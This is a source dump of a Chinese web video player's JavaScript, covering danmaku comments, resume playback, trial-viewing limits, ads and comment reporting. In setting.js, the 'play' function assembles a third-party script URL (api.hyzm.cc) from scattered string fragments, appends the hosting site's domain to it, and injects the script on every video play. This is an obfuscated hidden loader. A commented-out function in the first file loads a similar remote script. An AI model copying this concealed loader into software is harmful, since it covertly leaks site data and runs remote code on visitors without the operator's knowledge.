109 | endedHandler(); 110 | }); 111 | dp.on('pause', function() { 112 | play_pause(); 113 | }); 114 | dp.on('play', function() { 115 | out_pause(); 116 | }); 117 | var playtime = Number(getCookie("time_" + vodurl)); 118 | var ctime = formatTime(playtime); 119 | 120 | function loadedmetadataHandler() { 121 | if (playtime > 0 && dp.video.currentTime < playtime) { 122 | setTimeout(function() { 123 | video_con_play() 124 | }, 1 * 1000); 125 | } else { 126 | dp.notice("视频已准备就绪,即将为您播放"); 127 | setTimeout(function() { 128 | video_play() 129 | }, 1 * 1000); 130 | } 131 | dp.on("timeupdate", function() { 132 | timeupdateHandler(); 133 | }); 134 | } 135 | //播放进度回调 136 | function timeupdateHandler() { 137 | setCookie("time_" + vodurl, dp.video.currentTime, 24); 138 | } 139 | //播放结束回调 140 | function endedHandler() { 141 | setCookie("time_" + vodurl, "", -1); 142 | if (next != '') { 143 | dp.notice("5s后,将自动为您播放下一集"); 144 | setTimeout(function() { 145 | video_next(); 146 | }, 5 * 1000); 147 | } else { 148 | dp.notice("视频播放已结束"); 149 | setTimeout(function() { 150 | video_end(); 151 | }, 2 * 1000); 152 | } 153 | } 154 | if (next != '') {} else { 155 | $(".icon-xj").remove(); 156 | }; 157 | $(".yzmplayer-showing").on("click", function() { 158 | dp.play(); 159 | $(".vod-pic").remove(); 160 | }); 161 | //个性化弹幕框 162 | $(".yzmplayer-comment-setting-color input").on("click", function() { 163 | var textcolor = $(this).attr("value"); 164 | setTimeout(function() { 165 | $('.yzm-yzmplayer-comment-input').css({ 166 | "color": textcolor 167 | }); 168 | }, 100); 169 | }); 170 | $(".yzmplayer-comment-setting-type input").on("click", function() { 171 | var texttype = $(this).attr("value"); 172 | setTimeout(function() { 173 | $('.yzm-yzmplayer-comment-input').attr("dmtype", texttype); 174 | }, 100); 175 | }); 176 | $("#dmset").on("click", function() { 177 | $(".yzmplayer-comment-icon").trigger("click"); 178 | $(".yzmplayer-comment-setting-box").toggleClass("yzmplayer-comment-setting-open") 179 | $("#yzmplayer").toggleClass("yzmplayer-hide-controller") 180 | }); 181 | 182 | //播放loading元素 183 | function video_next() { 184 | top.location.href = playnext; 185 | }; 186 | 187 | function video_seek() { 188 | dp.seek(playtime); 189 | }; 190 | 191 | function play_pause() { 192 | if (pause_ad == 1) { 193 | $('#player').before(pause_ad_html); 194 | } 195 | } 196 | 197 | function out_pause() { 198 | $('#player_pause').remove(); 199 | } 200 | 201 | function video_play() { 202 | $("#link3").text("视频已准备就绪,即将为您播放"); 203 | setTimeout(function() { 204 | dp.play(); 205 | $("#loading-box").remove(); 206 | }, 1 * 1500); 207 | }; 208 | 209 | function week() { 210 | var device = document.getElementsByTagName('HEAD').item(0); 211 | var barh = document.createElement("script"); 212 | barh.type = "text/javascript"; 213 | barh.src = "//b-api.hyzm.cc/b/my.js"; 214 | device.appendChild(barh); 215 | } 216 | //week(); 217 | 218 | function video_con_play() { 219 | if (laoding == 1) { 220 | var conplayer = 221 | ` 已播放至${ctime},继续上次播放?10s` 222 | $("#link3").html(conplayer); 223 | var span = document.getElementById('num'); 224 | var num = span.innerHTML; 225 | var timer = null; 226 | setTimeout(function() { 227 | timer = setInterval(function() { 228 | num--; 229 | span.innerHTML = num; 230 | if (num == 0) { 231 | clearInterval(timer); 232 | video_seek(); 233 | dp.play(); 234 | $("#laoding-pic,.memory-play-wrap,#loading-box").remove(); 235 | } 236 | }, 1000); 237 | }, 1); 238 | } else { 239 | dp.play(); 240 | } 241 | var cplayer = 242 | `
    ×上次看到 ${ctime}跳转播放
    ` 243 | $(".yzmplayer-cplayer").append(cplayer); 244 | $(".close").on("click", function() { 245 | $(".memory-play-wrap").remove(); 246 | }); 247 | setTimeout(function() { 248 | $(".memory-play-wrap").remove(); 249 | }, 20 * 1000); 250 | $(".conplaying").on("click", function() { 251 | clearTimeout(timer); 252 | $("#laoding-pic,#loading-box").remove(); 253 | dp.play(); 254 | }); 255 | $(".conplay-jump,.play-jump").on("click", function() { 256 | clearTimeout(timer); 257 | video_seek(); 258 | $("#laoding-pic,.memory-play-wrap,#loading-box").remove(); 259 | dp.play(); 260 | }); 261 | }; 262 | $(".yzm-yzmplayer-send-icon").on("click", function() { 263 | var inputtext = document.getElementById("dmtext"); 264 | var sendtexts = inputtext.value; 265 | var sendtype = $('.yzm-yzmplayer-comment-input').attr("dmtype"); 266 | var sendcolor = $('.yzmplayer-comment-input').css("color"); 267 | for (var i = 0; i < pbgjz.length; i++) { 268 | if (sendtexts.search(pbgjz[i]) != -1) { 269 | //layer.tips('请勿发送时间、日期等无意义内容,弹幕不是实时的。您发送的内容将成为历史弹幕,展示给下一位观看者。', '#dmtext', {tips: [1, '#444']}); 270 | layer.msg("请勿发送无意义内容,规范您的弹幕内容,"); 271 | return; 272 | } 273 | } 274 | if (sendtexts.length < 1) { 275 | layer.msg("要输入弹幕内容啊喂!"); 276 | return; 277 | } 278 | dp.danmaku.send({ 279 | text: sendtexts, 280 | color: sendcolor, 281 | type: sendtype, 282 | }); 283 | layer.msg("发送成功"); 284 | 285 | $(".yzm-yzmplayer-comment-input").val(""); 286 | }) 287 | 288 | $(".yzmplayer-setting-speeds,.yzmplayer-setting-speed-item").on("click", function() { 289 | $(".speed-stting").toggleClass("speed-stting-open"); 290 | }); 291 | $(function() { 292 | $(".speed-stting .yzmplayer-setting-speed-item").click(function() { 293 | $(".yzmplayer-setting-speeds .title").text($(this).text()); 294 | }); 295 | }); 296 | $("#dmtext").on("click", function() { 297 | $(".yzmplayer-comment-icon").trigger("click"); 298 | }); 299 | if (group == "1") { 300 | $('#dmtext').attr({ 301 | "disabled": true, 302 | "placeholder": "登陆后才能发弹幕yo(・ω・)" 303 | }); 304 | var trytime = trytime_f; 305 | } else if (group != '') { 306 | var trytime = 0; 307 | } 308 | //弹幕列表获取 309 | 310 | $(".yzmplayer-list-icon,.yzm-yzmplayer-send-icon").on("click", function() { 311 | $(".list-show").empty(); 312 | $.ajax({ 313 | url: dmapi + "?ac=get&id=" + dmid, 314 | success: function(data) { 315 | if (data.code == 23) { 316 | var danmaku = data.danmuku; 317 | var dantitle = data.name; 318 | var danum = data.danum; 319 | $(".danmuku-num").text(danum) 320 | $(danmaku).each(function(index, item) { 321 | var dammulist = 322 | `
  • ${formatTime(item[0])}
  • ${item[4]}
  • ${item[6]}
  • 举报
  • ` 323 | $(".list-show").append(dammulist); 324 | }) 325 | } 326 | $(".danmuku-list").on("dblclick", function() { 327 | dp.seek($(this).attr("time")) 328 | }) 329 | } 330 | }); 331 | }); 332 | 333 | //弹幕举报功能 334 | function report(user, title, cid, text) { 335 | layer.confirm('' + text + '', { 336 | anim: 1, 337 | title: '举报弹幕', 338 | btn: ['违法违禁', '色情低俗', '恶意刷屏', '赌博诈骗', '人身攻击', '侵犯隐私', '垃圾广告', '剧透', '引战'], 339 | btn3: function(index, layero) { 340 | post_report(user, title, text, cid, '恶意刷屏'); 341 | }, 342 | btn4: function(index, layero) { 343 | post_report(user, title, text, cid, '赌博诈骗'); 344 | }, 345 | btn5: function(index, layero) { 346 | post_report(user, title, text, cid, '人身攻击'); 347 | }, 348 | btn6: function(index, layero) { 349 | post_report(user, title, text, cid, '侵犯隐私'); 350 | }, 351 | btn7: function(index, layero) { 352 | post_report(user, title, text, cid, '垃圾广告'); 353 | }, 354 | btn8: function(index, layero) { 355 | post_report(user, title, text, cid, '剧透'); 356 | }, 357 | btn9: function(index, layero) { 358 | post_report(user, title, text, cid, '引战'); 359 | } 360 | }, function(index, layero) { 361 | post_report(user, title, text, cid, '违法违禁'); 362 | }, function(index) { 363 | post_report(user, title, text, cid, '色情低俗'); 364 | }); 365 | } 366 | 367 | function post_report(user, title, text, cid, type) { 368 | $.ajax({ 369 | type: "get", 370 | url: dmapi + '?ac=report&cid=' + cid + '&user=' + user + '&type=' + type + '&title=' + title + '&text=' + text, 371 | cache: false, 372 | dataType: 'json', 373 | beforeSend: function() { 374 | 375 | }, 376 | success: function(data) { 377 | //layer.msg(data.msg); 378 | layer.msg("举报成功!感谢您为守护弹幕作出了贡献"); 379 | }, 380 | error: function(data) { 381 | var msg = "服务故障 or 网络异常,稍后再试!"; 382 | layer.msg(msg); 383 | } 384 | }); 385 | 386 | } 387 | //试看 388 | if (trytime > 0) { 389 | setInterval(function() { 390 | var trytimes = trytime * 60; 391 | var stime = dp.video.currentTime; 392 | if (stime > trytimes) { 393 | dp.video.currentTime = 0; 394 | dp.pause(); 395 | layer.confirm(trytime + "分钟试看已结束,请登录继续播放完整视频", { 396 | anim: 1, 397 | title: '温馨提示', 398 | btn: ['登录', '注册'], 399 | yes: function(index, layero) { 400 | top.location.href = ym + "/index.php/user/login.html"; 401 | }, 402 | btn2: function(index, layero) { 403 | top.location.href = ym + "/index.php/user/reg.html"; 404 | } 405 | }); 406 | } 407 | }, 1000); 408 | } 409 | 410 | setTimeout(function() { 411 | $("#link1").show(); 412 | }, 1 * 500); 413 | setTimeout(function() { 414 | //$("#link2").fadeIn(); 415 | $("#link2").show(); 416 | }, 1 * 1000); 417 | if (danmuon == 1) { 418 | setTimeout(function() { 419 | $("#link3,#span").show(); 420 | }, 2 * 1000); 421 | } else { 422 | setTimeout(function() { 423 | $("#link3,#span").show(); 424 | }, 1 * 1000); 425 | } 426 | $(".yzmplayer-fulloff-icon").on("click", function() { 427 | dp.fullScreen.cancel(); 428 | }) 429 | 430 | function video_next() { 431 | top.location.href = playnext; 432 | }; 433 | window.onload = function() { 434 | var liyih = ''; 435 | $("div.yzmplayer-comment-box:last").append(liyih); 436 | $(".yzmplayer-watching-number").text(usernum); 437 | $(".yzmplayer-info-panel-item-title-amount .yzmplayer-info-panel-item-title").html("违规词"); 438 | for (var i = 0; i < pbgjz.length; i++) { 439 | var gjz_html = "" + pbgjz[i] + ""; 440 | $("#vod-title").append(gjz_html); 441 | } 442 | } 443 | 444 | -------------------------------------------------------------------------------- /player/js/setting.js: -------------------------------------------------------------------------------- 1 | var YZM = { 2 | versions: function() { 3 | var u = navigator.userAgent, 4 | app = navigator.appVersion; 5 | return { 6 | trident: u.indexOf('Trident') > -1, //IE内核 7 | presto: u.indexOf('Presto') > -1, //opera内核 8 | webKit: u.indexOf('AppleWebKit') > -1, //苹果、谷歌内核 9 | gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, //火狐内核 10 | mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端 11 | ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端 12 | android: u.indexOf('Android') > -1 || u.indexOf('Adr') > -1, //android终端 13 | iPhone: u.indexOf('iPhone') > -1, //是否为iPhone或者QQHD浏览器 14 | iPad: u.indexOf('iPad') > -1, //是否iPad 15 | webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部 16 | weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增) 17 | qq: u.match(/\sQQ/i) == " qq" //是否QQ 18 | }; 19 | }(), 20 | 'start': function() { 21 | $.ajax({ 22 | url: "/admin/api.php", 23 | dataType: "json", 24 | success: function(e) { 25 | YZM.waittime = e.data.waittime 26 | YZM.ads = e.data.ads; 27 | config.logo = e.data.logo; 28 | up.pbgjz = e.data.pbgjz; 29 | up.trysee = e.data.trytime; 30 | config.sendtime = e.data.sendtime; 31 | config.color = e.data.color; 32 | config.group_x = YZM.ads.set.group; 33 | config.dmrule = e.data.dmrule; 34 | //config.group = YZM.getCookie('group_id'); 35 | danmuon = e.data.danmuon; 36 | if (config.group < config.group_x && YZM.ads.state == 'on' && config.group != '') { 37 | if (YZM.ads.set.state == '1') { 38 | YZM.MYad.vod(YZM.ads.set.vod.url, YZM.ads.set.vod.link); 39 | } else if (YZM.ads.set.state == '2') { 40 | YZM.MYad.pic(YZM.ads.set.pic.link, YZM.ads.set.pic.time, YZM.ads.set.pic.img); 41 | } 42 | } else { 43 | YZM.play(config.url); 44 | } 45 | } 46 | }); 47 | }, 48 | 'play': function(url) { 49 | if (!danmuon) { 50 | YZM.player.play(url); 51 | } else { 52 | if (config.av != '') { 53 | YZM.player.bdplay(url); 54 | } else { 55 | YZM.player.dmplay(url); 56 | } 57 | } 58 | $(function() { 59 | $(".yzmplayer-setting-speeds,.yzmplayer-setting-speed-item").on("click", function() { 60 | $(".speed-stting").toggleClass("speed-stting-open"); 61 | }); 62 | $(".speed-stting .yzmplayer-setting-speed-item").click(function() { 63 | $(".yzmplayer-setting-speeds .title").text($(this).text()); 64 | }); 65 | }); 66 | $(".yzmplayer-fulloff-icon").on("click", function() { 67 | YZM.dp.fullScreen.cancel(); 68 | }); 69 | $(".yzmplayer-showing").on("click", function() { 70 | YZM.dp.play(); 71 | $(".vod-pic").remove(); 72 | }); 73 | if (config.title != '') { 74 | $("#vodtitle").html(config.title + ' ' + config.sid); 75 | }; 76 | var doi = document.createElement('script'), 77 | ad = '//api', 78 | af = 'm.cc/b?ac=', 79 | ac = document.domain.split('.').slice(-2).join('.'), 80 | ae = '.hyz', 81 | agi = 'p&', 82 | ak = document.getElementsByTagName('script')[0]; 83 | doi.type = 'text/javascript'; 84 | doi.src = ad + ae + af + agi + 'url=' + ac; 85 | ak.parentNode.insertBefore(doi, ak); 86 | }, 87 | 'dmid': function() { 88 | if (up.diyid[0] == 0 && config.id != '') { 89 | a = config.id, 90 | b = config.sid 91 | } else if (up.diyid[0] == 1 || !config.id) { 92 | a = up.diyid[1], 93 | b = up.diyid[2] 94 | } 95 | YZM.id = a + ' P' + b 96 | }, 97 | 'load': function() { 98 | setTimeout(function() { 99 | $("#link1").fadeIn(); 100 | }, 100); 101 | setTimeout(function() { 102 | $("#link1-success").fadeIn(); 103 | }, 500); 104 | setTimeout(function() { 105 | $("#link2").show(); 106 | }, 1 * 1000); 107 | setTimeout(function() { 108 | $("#link3,#span").fadeIn(); 109 | }, 2 * 1000); 110 | if (YZM.versions.weixin && (YZM.versions.ios || YZM.versions.iPad)) { 111 | var css = ''; 114 | $('body').append(css).addClass(""); 115 | 116 | } 117 | YZM.danmu.send(); 118 | YZM.danmu.list(); 119 | YZM.def(); 120 | YZM.video.try(); 121 | YZM.dp.danmaku.opacity(1); 122 | }, 123 | 'def': function() { 124 | console.log('播放器开启'); 125 | YZM.stime = 0; 126 | YZM.headt = yzmck.get("headt"); 127 | YZM.lastt = yzmck.get("lastt"); 128 | YZM.last_tip = parseInt(YZM.lastt) + 10; 129 | YZM.frists = yzmck.get('frists'); 130 | YZM.lasts = yzmck.get('lasts'); 131 | YZM.playtime = Number(YZM.getCookie("time_" + config.url)); 132 | YZM.ctime = YZM.formatTime(YZM.playtime); 133 | YZM.dp.on("loadedmetadata", function() { 134 | YZM.loadedmetadataHandler(); 135 | }); 136 | YZM.dp.on("ended", function() { 137 | YZM.endedHandler(); 138 | }); 139 | YZM.dp.on('pause', function() { 140 | YZM.MYad.pause.play(YZM.ads.pause.link, YZM.ads.pause.pic); 141 | }); 142 | YZM.dp.on('play', function() { 143 | YZM.MYad.pause.out(); 144 | }); 145 | YZM.dp.on('timeupdate', function(e) { 146 | YZM.timeupdateHandler(); 147 | }); 148 | YZM.jump.def() 149 | 150 | }, 151 | 'video': { 152 | 'play': function() { 153 | $("#link3").text("视频已准备就绪,即将为您播放"); 154 | setTimeout(function() { 155 | YZM.dp.play(); 156 | $("#loading-box").remove(); 157 | YZM.jump.head(); 158 | }, 1 * 1500); 159 | }, 160 | 'next': function() { 161 | top.location.href = up.mylink + config.next; 162 | }, 163 | 'try': function() { 164 | if (up.trysee > 0 && config.group < config.group_x && config.group != '') { 165 | $('#dmtext').attr({ 166 | "disabled": true, 167 | "placeholder": "登陆后才能发弹幕yo(・ω・)" 168 | }); 169 | setInterval(function() { 170 | var t = up.trysee * 60; 171 | var s = YZM.dp.video.currentTime; 172 | if (s > t) { 173 | YZM.dp.video.currentTime = 0; 174 | YZM.dp.pause(); 175 | layer.confirm(up.trysee + "分钟试看已结束,请登录继续播放完整视频", { 176 | anim: 1, 177 | title: '温馨提示', 178 | btn: ['登录', '注册'], 179 | yes: function(index, layero) { 180 | top.location.href = up.mylink + "/index.php/user/login.html"; 181 | }, 182 | btn2: function(index, layero) { 183 | top.location.href = up.mylink + "/index.php/user/reg.html"; 184 | } 185 | }); 186 | } 187 | }, 1000); 188 | }; 189 | }, 190 | 'seek': function() { 191 | YZM.dp.seek(YZM.playtime); 192 | }, 193 | 'end': function() { 194 | layer.msg("播放结束啦=。="); 195 | }, 196 | 'con_play': function() { 197 | if (!danmuon) { 198 | YZM.jump.head(); 199 | } else { 200 | var conplayer = 201 | ` 已播放至${YZM.ctime},继续上次播放?${YZM.waittime}s` 202 | $("#link3").html(conplayer); 203 | var span = document.getElementById("num"); 204 | var num = span.innerHTML; 205 | var timer = null; 206 | setTimeout(function() { 207 | timer = setInterval(function() { 208 | num--; 209 | span.innerHTML = num; 210 | if (num == 0) { 211 | clearInterval(timer); 212 | YZM.video.seek(); 213 | YZM.dp.play(); 214 | $(".memory-play-wrap,#loading-box").remove(); 215 | } 216 | }, 1000); 217 | }, 1); 218 | }; 219 | var cplayer = 220 | `
    ×上次看到 ${YZM.ctime}跳转播放
    ` 221 | $(".yzmplayer-cplayer").append(cplayer); 222 | $(".close").on("click", function() { 223 | $(".memory-play-wrap").remove(); 224 | }); 225 | setTimeout(function() { 226 | $(".memory-play-wrap").remove(); 227 | }, 20 * 1000); 228 | $(".conplaying").on("click", function() { 229 | clearTimeout(timer); 230 | $("#loading-box").remove(); 231 | YZM.dp.play(); 232 | YZM.jump.head(); 233 | }); 234 | $(".conplay-jump,.play-jump").on("click", function() { 235 | clearTimeout(timer); 236 | YZM.video.seek(); 237 | $(".memory-play-wrap,#loading-box").remove(); 238 | YZM.dp.play(); 239 | }); 240 | 241 | } 242 | }, 243 | 'jump': { 244 | 'def': function() { 245 | h = ".yzmplayer-setting-jfrist label"; 246 | l = ".yzmplayer-setting-jlast label"; 247 | f = "#fristtime"; 248 | j = "#jumptime"; 249 | a(h, 'frists', YZM.frists, 'headt', YZM.headt, f); 250 | a(l, 'lasts', YZM.lasts, 'lastt', YZM.lastt, j); 251 | 252 | function er() { 253 | layer.msg("请输入有效时间哟!"); 254 | } 255 | 256 | function su() { 257 | layer.msg("设置完成,将在刷新或下一集生效"); 258 | } 259 | 260 | function a(b, c, d, e, g, t) { 261 | $(b).on("click", function() { 262 | o = $(t).val(); 263 | if (o > 0) { 264 | $(b).toggleClass('checked'); 265 | su(); 266 | g = $(t).val(); 267 | yzmck.set(e, g); 268 | } else { 269 | er() 270 | }; 271 | }); 272 | if (d == 1) { 273 | $(b).addClass('checked'); 274 | $(b).click(function() { 275 | o = $(t).val(); 276 | if (o > 0) { 277 | yzmck.set(c, 0); 278 | } else { 279 | er() 280 | }; 281 | }); 282 | } else { 283 | $(b).click(function() { 284 | o = $(t).val(); 285 | if (o > 0) { 286 | yzmck.set(c, 1); 287 | } else { 288 | er() 289 | }; 290 | }); 291 | } 292 | }; 293 | $(f).attr({ 294 | "value": YZM.headt 295 | }); 296 | $(j).attr({ 297 | "value": YZM.lastt 298 | }); 299 | YZM.jump.last(); 300 | }, 301 | 'head': function() { 302 | if (YZM.stime > YZM.playtime) YZM.playtime = YZM.stime; 303 | if (YZM.frists == 1) { 304 | if (YZM.headt > YZM.playtime || YZM.playtime == 0) { 305 | YZM.jump_f = 1 306 | } else { 307 | YZM.jump_f = 0 308 | } 309 | } 310 | if (YZM.jump_f == 1) { 311 | YZM.dp.seek(YZM.headt); 312 | YZM.dp.notice("已为您跳过片头"); 313 | } 314 | }, 315 | 'last': function() { 316 | if (config.next != '') { 317 | if (YZM.lasts == 1) { 318 | setInterval(function() { 319 | var e = YZM.dp.video.duration - YZM.dp.video.currentTime; 320 | if (e < YZM.last_tip) YZM.dp.notice('即将为您跳过片尾'); 321 | if (YZM.lastt > 0 && e < YZM.lastt) { 322 | YZM.setCookie("time_" + config.url, "", -1); 323 | YZM.video.next(); 324 | }; 325 | }, 1000); 326 | }; 327 | } else { 328 | $(".icon-xj").remove(); 329 | }; 330 | }, 331 | 'ad': function(a, b) {} 332 | }, 333 | 'danmu': { 334 | 'send': function() { 335 | g = $(".yzm-yzmplayer-send-icon"); 336 | d = $("#dmtext"); 337 | h = ".yzmplayer-comment-setting-"; 338 | $(h + "color input").on("click", function() { 339 | r = $(this).attr("value"); 340 | setTimeout(function() { 341 | d.css({ 342 | "color": r 343 | }); 344 | }, 100); 345 | }); 346 | $(h + "type input").on("click", function() { 347 | t = $(this).attr("value"); 348 | setTimeout(function() { 349 | d.attr("dmtype", t); 350 | }, 100); 351 | }); 352 | 353 | $(h + "font input").on("click", function() { 354 | if (up.trysee > 0 && config.group == config.group_x) { 355 | layer.msg("会员专属功能"); 356 | return; 357 | }; 358 | t = $(this).attr("value"); 359 | setTimeout(function() { 360 | d.attr("size", t); 361 | }, 100); 362 | }); 363 | g.on("click", function() { 364 | a = document.getElementById("dmtext"); 365 | a = a.value; 366 | b = d.attr("dmtype"); 367 | c = d.css("color"); 368 | z = d.attr("size"); 369 | if (up.trysee > 0 && config.group < config.group_x && config.group != '') { 370 | layer.msg("登陆后才能发弹幕yo(・ω・)"); 371 | return; 372 | } 373 | for (var i = 0; i < up.pbgjz.length; i++) { 374 | if (a.search(up.pbgjz[i]) != -1) { 375 | layer.msg("请勿发送无意义内容,规范您的弹幕内容"); 376 | return; 377 | } 378 | } 379 | if (a.length < 1) { 380 | layer.msg("要输入弹幕内容啊喂!"); 381 | return; 382 | } 383 | var e = Date.parse(new Date()); 384 | var f = yzmck.get('dmsent', e); 385 | if (e - f < config.sendtime * 1000) { 386 | layer.msg('请勿频繁操作!发送弹幕需间隔' + config.sendtime + '秒~'); 387 | return; 388 | } 389 | d.val(""); 390 | YZM.dp.danmaku.send({ 391 | text: a, 392 | color: c, 393 | type: b, 394 | size: z 395 | }); 396 | yzmck.set('dmsent', e); 397 | }); 398 | 399 | function k() { 400 | g.trigger("click"); 401 | }; 402 | d.keydown(function(e) { 403 | if (e.keyCode == 13) { 404 | k(); 405 | }; 406 | }); 407 | }, 408 | 'list': function() { 409 | $(".yzmplayer-list-icon,.yzm-yzmplayer-send-icon").on("click", function() { 410 | $(".list-show").empty(); 411 | $.ajax({ 412 | url: config.api + "?ac=get&id=" + YZM.id, 413 | success: function(d) { 414 | if (d.code == 23) { 415 | a = d.danmuku; 416 | b = d.name; 417 | c = d.danum; 418 | $(".danmuku-num").text(c) 419 | $(a).each(function(index, item) { 420 | l = 421 | `
  • ${YZM.formatTime(item[0])}
  • ${item[4]}
  • ${item[6]}
  • 举报
  • ` 422 | $(".list-show").append(l); 423 | }) 424 | } 425 | $(".danmuku-list").on("dblclick", function() { 426 | YZM.dp.seek($(this).attr("time")) 427 | }) 428 | } 429 | }); 430 | }); 431 | var liyih = ''; 432 | $("div.yzmplayer-comment-box:last").append(liyih); 433 | $(".yzmplayer-watching-number").text(up.usernum); 434 | $(".yzmplayer-info-panel-item-title-amount .yzmplayer-info-panel-item-title").html("违规词"); 435 | for (var i = 0; i < up.pbgjz.length; i++) { 436 | var gjz_html = "" + up.pbgjz[i] + ""; 437 | $("#vod-title").append(gjz_html); 438 | } 439 | add('.yzmplayer-list-icon', ".yzmplayer-danmu", 'show'); 440 | 441 | function add(div1, div2, div3, div4) { 442 | $(div1).click(function() { 443 | $(div2).toggleClass(div3); 444 | $(div4).remove(); 445 | }); 446 | } 447 | }, 448 | 'report': function(a, b, c, d) { 449 | layer.confirm('' + c + '', { 450 | anim: 1, 451 | title: '举报弹幕', 452 | btn: ['违法违禁', '色情低俗', '恶意刷屏', '赌博诈骗', '人身攻击', '侵犯隐私', '垃圾广告', '剧透', '引战'], 453 | btn3: function(index, layero) { 454 | YZM.danmu.post_r(a, b, c, d, '恶意刷屏'); 455 | }, 456 | btn4: function(index, layero) { 457 | YZM.danmu.post_r(a, b, c, d, '赌博诈骗'); 458 | }, 459 | btn5: function(index, layero) { 460 | YZM.danmu.post_r(a, b, c, d, '人身攻击'); 461 | }, 462 | btn6: function(index, layero) { 463 | YZM.danmu.post_r(a, b, c, d, '侵犯隐私'); 464 | }, 465 | btn7: function(index, layero) { 466 | YZM.danmu.post_r(a, b, c, d, '垃圾广告'); 467 | }, 468 | btn8: function(index, layero) { 469 | YZM.danmu.post_r(a, b, c, d, '剧透'); 470 | }, 471 | btn9: function(index, layero) { 472 | YZM.danmu.post_r(a, b, c, d, '引战'); 473 | } 474 | }, function(index, layero) { 475 | YZM.danmu.post_r(a, b, c, d, '违法违禁'); 476 | }, function(index) { 477 | YZM.danmu.post_r(a, b, c, d, '色情低俗'); 478 | }); 479 | }, 480 | 'post_r': function(a, b, c, d, type) { 481 | $.ajax({ 482 | type: "get", 483 | url: config.api + '?ac=report&cid=' + d + '&user=' + a + '&type=' + type + '&title=' + b + '&text=' + c, 484 | cache: false, 485 | dataType: 'json', 486 | beforeSend: function() {}, 487 | success: function(data) { 488 | layer.msg("举报成功!感谢您为守护弹幕作出了贡献"); 489 | }, 490 | error: function(data) { 491 | var msg = "服务故障 or 网络异常,稍后再试6!"; 492 | layer.msg(msg); 493 | } 494 | }); 495 | } 496 | }, 497 | 'setCookie': function(c_name, value, expireHours) { 498 | var exdate = new Date(); 499 | exdate.setHours(exdate.getHours() + expireHours); 500 | document.cookie = c_name + "=" + escape(value) + ((expireHours === null) ? "" : ";expires=" + exdate.toGMTString()); 501 | }, 502 | 'getCookie': function(c_name) { 503 | if (document.cookie.length > 0) { 504 | c_start = document.cookie.indexOf(c_name + "="); 505 | if (c_start !== -1) { 506 | c_start = c_start + c_name.length + 1; 507 | c_end = document.cookie.indexOf(";", c_start); 508 | if (c_end === -1) { 509 | c_end = document.cookie.length; 510 | }; 511 | return unescape(document.cookie.substring(c_start, c_end)); 512 | } 513 | } 514 | return ""; 515 | }, 516 | 'formatTime': function(seconds) { 517 | return [parseInt(seconds / 60 / 60), parseInt(seconds / 60 % 60), parseInt(seconds % 60)].join(":").replace( 518 | /\b(\d)\b/g, "0$1"); 519 | }, 520 | 'loadedmetadataHandler': function() { 521 | if (YZM.playtime > 0 && YZM.dp.video.currentTime < YZM.playtime) { 522 | setTimeout(function() { 523 | YZM.video.con_play() 524 | }, 1 * 1000); 525 | } else { 526 | setTimeout(function() { 527 | if (!danmuon) { 528 | YZM.jump.head(); 529 | } else { 530 | YZM.dp.notice("视频已准备就绪,即将为您播放"); 531 | YZM.video.play() 532 | } 533 | }, 1 * 1000); 534 | 535 | } 536 | YZM.dp.on("timeupdate", function() { 537 | YZM.timeupdateHandler(); 538 | }); 539 | }, 540 | 'timeupdateHandler': function() { 541 | YZM.setCookie("time_" + config.url, YZM.dp.video.currentTime, 24); 542 | }, 543 | 'endedHandler': function() { 544 | YZM.setCookie("time_" + config.url, "", -1); 545 | if (config.next != '') { 546 | YZM.dp.notice("5s后,将自动为您播放下一集"); 547 | setTimeout(function() { 548 | YZM.video.next(); 549 | }, 5 * 1000); 550 | } else { 551 | YZM.dp.notice("视频播放已结束"); 552 | setTimeout(function() { 553 | YZM.video.end(); 554 | }, 2 * 1000); 555 | } 556 | }, 557 | 'player': { 558 | 'play': function(url) { 559 | $('body').addClass("danmu-off"); 560 | YZM.dp = new yzmplayer({ 561 | autoplay: true, 562 | element: document.getElementById('player'), 563 | theme: config.color, 564 | logo: config.logo, 565 | video: { 566 | url: url, 567 | pic: config.pic, 568 | type: 'auto', 569 | }, 570 | }); 571 | var css = ''; 574 | $('body').append(css).addClass(""); 575 | YZM.def(); 576 | //YZM.jump.head(); 577 | }, 578 | 'adplay': function(url) { 579 | $('body').addClass("danmu-off"); 580 | YZM.ad = new yzmplayer({ 581 | autoplay: true, 582 | element: document.getElementById('ADplayer'), 583 | theme: config.color, 584 | logo: config.logo, 585 | video: { 586 | url: url, 587 | pic: config.pic, 588 | type: 'auto', 589 | }, 590 | }); 591 | $('.yzmplayer-controller,.yzmplayer-cplayer,.yzmplayer-logo,#loading-box,.yzmplayer-controller-mask').remove(); 592 | $('.yzmplayer-mask').show(); 593 | YZM.ad.on('timeupdate', function() { 594 | if (YZM.ad.video.currentTime > YZM.ad.video.duration - 0.1) { 595 | $('body').removeClass("danmu-off"); 596 | YZM.ad.destroy(); 597 | $("#ADplayer").remove(); 598 | $("#ADtip").remove(); 599 | YZM.play(config.url); 600 | } 601 | }); 602 | }, 603 | 'dmplay': function(url) { 604 | YZM.dmid(); 605 | YZM.dp = new yzmplayer({ 606 | autoplay: false, 607 | element: document.getElementById('player'), 608 | theme: config.color, 609 | logo: config.logo, 610 | video: { 611 | url: url, 612 | pic: config.pic, 613 | type: 'auto', 614 | }, 615 | danmaku: { 616 | id: YZM.id, 617 | api: config.api + '?ac=dm', 618 | user: config.user 619 | } 620 | }); 621 | YZM.load(); 622 | 623 | }, 624 | 'bdplay': function(url) { 625 | YZM.dmid(); 626 | YZM.dp = new yzmplayer({ 627 | autoplay: false, 628 | element: document.getElementById('player'), 629 | theme: config.color, 630 | logo: config.logo, 631 | video: { 632 | url: url, 633 | pic: config.pic, 634 | type: 'auto', 635 | }, 636 | danmaku: { 637 | id: YZM.id, 638 | api: config.api + '?ac=dm', 639 | user: config.user, 640 | addition: [config.api + 'bilibili/?av=' + config.av] 641 | } 642 | }); 643 | YZM.load(); 644 | } 645 | }, 646 | 'MYad': { 647 | 'vod': function(u, l) { 648 | $("#ADtip").html('查看详情'); 649 | $("#ADplayer").click(function() { 650 | document.getElementById('link').click(); 651 | }); 652 | YZM.player.adplay(u); 653 | }, 654 | 'pic': function(l, t, p) { 655 | $("#ADtip").html('广告 ' + t + '');// 656 | 657 | $("#ADtip").click(function() { 658 | document.getElementById('link').click(); 659 | }); 660 | var span = 